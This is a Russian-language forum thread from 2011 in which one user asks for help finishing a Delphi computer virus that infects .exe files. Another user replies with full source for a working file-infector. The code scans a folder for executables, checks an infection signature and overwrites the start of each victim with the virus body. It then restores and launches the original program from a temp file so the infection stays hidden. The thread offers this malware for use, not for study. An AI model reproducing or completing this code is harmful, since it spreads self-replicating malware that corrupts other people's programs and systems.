Помогите исправить ошибки и доработать...
ВИРУС ПОКА НЕ РАБОТАЕТ, ПОЭТОМУ И ОБРАТИЛСЯ К ВАМ ЗА ПОМОЩЬЮ...
АЛГОРИТМ ВИРУСА:
1. (procedure gotomark) Находим все файлы .exe (даже сам вирус) в папке вместе с ним и переименовываем их в формат .txt
2. (Procedure infect) Добавляем код вируса в формате .txt к коду найденных файлов (тут помогите пжл)...
3. (procedure obratno)Меняем расширения фалов обратно в .exe
Люди я заражаю таким способом файлы впервые (пжл помогите довести этот вирус до ума)... :( :(
Code
program root;
{$APPTYPE CONSOLE}
uses
SysUtils;
var
f, y: string ;
searchResult : TSearchRec;
procedure gotomark;
begin
if FindFirst('*.exe', faAnyFile, searchResult) = 0 then
begin
repeat
f:= (searchResult.Name);
y:= ChangeFileExt(f, '.txt');
RenameFile(f, y);
until FindNext(searchResult) <> 0;
end;
end;
Procedure infect;
const
Fn1 = 'как тут указать найденный файл??' ;
Fn2 = 'root.txt';
var
F1, F2 : TextFile;
S : String;
begin
AssignFile(F1, Fn1);
Append(F1);
AssignFile(F2, Fn2);
Reset(F2);
//Если второй файл не пуст, добавляем перевод на следующую строку в первом файле.
if not Eof(F2) then Writeln(F1);
//Переписываем содержание второго фала в конец первого файла.
while not Eof(F2) do begin
Readln(F2, S);
Writeln(F1, S);
end;
CloseFile(F1);
CloseFile(F2);
end;
procedure obratno;
var
g,d:string;
begin
if FindFirst('*.txt', faAnyFile, searchResult) = 0 then
begin
repeat
g:= (searchResult.Name);
d:= ChangeFileExt(g, '.exe');
RenameFile(g, d);
until FindNext(searchResult) <> 0;
end;
end;
end.
Сообщение отредактировал link993 - Среда, 11.05.2011, 20:48
Конечно отредактировать не проблема, но сразу возникает вопрос - Procedure infect добавляет данные в конец файла в этом смысл нет, тк такая структура работать не будет, добавлять нужно в начало. Переименовывать в текстовый не обязательно.
dolphin, даже если добавить в начало через .txt зараженный файл работать не будет))) это скорее вредилка такая чем вирус))) Мне сказали надо файл побайтно добавлять чтобы зараженная программа работала))) Можете пжл этот "Вирус" довести до ума, а потом я займусь модификацией))) Заранее спасибо :)
Сообщение отредактировал link993 - Среда, 11.05.2011, 21:28
const
VirSize = 44032;{21997 - размер после упаковки FSG}//Размер вируса
TmpName = '$$$.exe';
function CheckInfect(path : string):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
SignSize = 64;//Размер сигнатуры
SignPos = 666;//Позиция начала сигнатуры
type
Bufer = array [1..SignSize] of char;//Буфер сигнатуры
var
F1 : file;
F2 : file;
FM : word;
SignBuf : Bufer;
VictBuf : Bufer;
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F1, Paramstr(0));//Ассоциируем F1 с путём к себе
AssignFile(F2, path);//Ассоциируем F2 с путём к жертве
Reset(F1,1);//Открываем себя
Reset(F2,1);//Открываем жертву
seek(F1,SignPos);//Переходим в себе на позиция сигнатуры
seek(F2,SignPos);//Переходим в жертве на позиция сигнатуры
BlockRead(F1,SignBuf,SignSize);//Читаем в себе сигнатуру
BlockRead(F2,VictBuf,SignSize);//Читаем в жертве сигнатуру
if SignBuf<>VictBuf//Сравниваем сигнатуры
then Result:=true //Если не равны - true
else Result:=false;// Если не равны - false
CloseFile(F1);//Закрываем себя
CloseFile(F2);//Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean);
//Процедура переноса данных из одного файла в другой
//FromF - путь к файлу источнику
//ToF - путь к файлу приёмнику
//FromPos - позиция начала чтения в файле источнике
//ToPos - позиция начала чтения в файле приёмнике
//Count - количество считываемых байт
//rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть
var
F : file;
NR : integer;
FM : word; //Переменная для сохранения FileMode
Buf : array [1..999999] of byte; //Буфер
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику
Reset(F, 1);//Открываем источник
if FromPos=1 then FromPos:=FileSize(F)-VirSize;//Если 1 то переходим на VirSize байт с конца
seek(F,FromPos);//Переходим в источнике на позиция чтения
if Count=0 then Count:=FileSize(F);
//Если Count=0 то читаем весь файл до конца
if Count=1 then Count:=FileSize(F)-VirSize;
//Если Count=1 то читаем файл с заданной позиции до VirSize байта с конца
BlockRead(F, Buf, Count, NR);//Читаем в буфер
CloseFile(F);//Закрываем источник
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику
if rw then Rewrite(F, 1)//Открытие с перезаписью
else Reset(F, 1);//Открытие с перезаписью
if ToPos>0 then //Если ,больше 0 то переходим в файле приёмнике на заданную позицию
begin
if ToPos=1 then ToPos:=FileSize(F);//Если 1 то переходим в конец файла
seek(F,ToPos);//Переход на позицию в файле
end;
BlockWrite(F, Buf, NR);//Пишем буфер
CloseFile(F); //Закрываем файл приёмник
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
Procedure Infect(path:string);//Процедура заражения - получает путь к жертве
var
sr : TSearchRec;//Поисковая переменная
begin
findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указанном пути
if (SR.Size>VirSize) and (SR.Size<999999) then
//Если размер больше VirSize, но меньше 999999 - заражаем
begin
CopyData(path, path,0,1,VirSize,false);//Копируем фрагмент жертвы в конец
CopyData(paramstr(0),path,0,0,VirSize,false);//Перезаписываем вирусом начало жертвы
end;
end;
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external 'kernel32.dll' name 'WinExec';
//Импортируем из библиотеки kernel32 функцию winexec - можно конечно вместо этого подключить модуль WINDOWS...
Procedure InRun; //Процедура запуска жертвы
var
sr : TSearchRec;//Поисковая переменная
begin
findfirst(paramstr(0),faAnyFile-faDirectory,SR);//Находим путь к себе
if SR.Size>VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы..
begin
CopyData(paramstr(0),TmpName,1,0,VirSize,true);
//Копируем из себя первый фрагмент жертвы переносимый в конец при заражении во временый файл с его созданием
CopyData(paramstr(0),TmpName,VirSize,1,1,false);
//Копируем из себя копируем из себя второй фрагмент жертвы и дописываем его в конец первого
winexec(TmpName,1);{запускаем жертву, если она есть}
end;
end;
var
FR : INTEGER;
sr:tsearchrec;{Поисковые переменные}
begin
//Основная часть
DeleteFile(TmpName);//На всякий случай удаляем временный файл
FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
begin
if CheckInfect(SR.Name) then//Если жертва не заражена то..
infect(SR.Name);//Заражаем жертву
FR:=findnext(SR);{ищем следующий}
end;
InRun;{по окончанию поиска, запускаем жертву, если она есть}
end.
Сообщение отредактировал dolphin - Пятница, 13.05.2011, 21:48
dolphin, я у Вас просил исходник вируса, Вы мне тогда его высылали... Спасибо Ладно я наверно пойду))) буду ждать пока Вы исправите мой Вирус)))) Заранее спасибо!! Успехов Вам во всем и всего самого наилучшего....
Сообщение отредактировал link993 - Четверг, 12.05.2011, 14:53